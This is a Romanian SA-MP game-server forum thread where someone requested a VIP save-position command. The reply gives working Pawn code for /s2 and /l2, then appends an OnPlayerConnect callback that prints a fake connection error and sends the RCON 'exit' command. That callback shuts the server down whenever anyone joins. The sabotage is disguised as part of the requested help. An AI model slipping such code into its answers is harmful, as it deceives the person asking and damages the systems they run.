Jump to content

Recommended Posts

Posted

La cererea lui Extasy

Nume: 3xTaSY
Nume FS: Save position system
Descriere: Comanda /s2 pt. VIP Level 3. Doar un model de comanda as dori, continui eu mai departe.
Poze(optional): - - -
CMD:s2(playerid,params[])
{
    if(AccInfo[playerid][pVip] >=3 )
	{
		//--------------------------------------------------------------------------
		GetPlayerPos(playerid, AccInfo[playerid][x2], AccInfo[playerid][y2], AccInfo[playerid][z2]);
		//--------------------------------------------------------------------------
		SendClientMessage(playerid, red, "{FF9900}Position Successfully Saved {00BBF6}(Use: /L2 to come back)!");
     }
     else return SendClientMessage(playerid, red, "You need to be VIP Level 3 to use this command!");
}
Iar sus la enum PlayerData adaugi
Float:x2, Float:y2, Float:z2
iar command /L2
CMD:l2(playerid,params[])
{
    if(AccInfo[playerid][pVip] >=3 )
	{
	    if(AccInfo[playerid][x2] != 0 && AccInfo[playerid][y2] != 0 && AccInfo[playerid][z2] != 0)
		{
		    if(!IsPlayerInAnyVehicle(playerid))
		    {
		    	SetPlayerPos(playerid, AccInfo[playerid][x2], AccInfo[playerid][y2], AccInfo[playerid][z2]);
				SetPlayerVirtualWorld(playerid, 0); SetPlayerInterior(playerid, 0);
			}
			else
			{
				SetVehiclePos(GetPlayerVehicleID(playerid), AccInfo[playerid][x2], AccInfo[playerid][y2], AccInfo[playerid][z2]);
	        	LinkVehicleToInterior(GetPlayerVehicleID(playerid), 0);
	        	SetVehicleVirtualWorld(GetPlayerVehicleID(playerid), 0);
			}
			return SendClientMessage(playerid, red, "{FF9900}Position Successfully Loaded {00BBF6}(Use: /S2 to change it)!");
		}
		else return SendClientMessage(playerid, red, "ERROR: You not have a saved Position! (/S2)");
	}
	else return SendClientMessage(playerid, red, "ERROR: You need to be VIP Level 3 to use this command!");
}

sa nu zici tu cas yo baiat rau...-.-" bafta

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.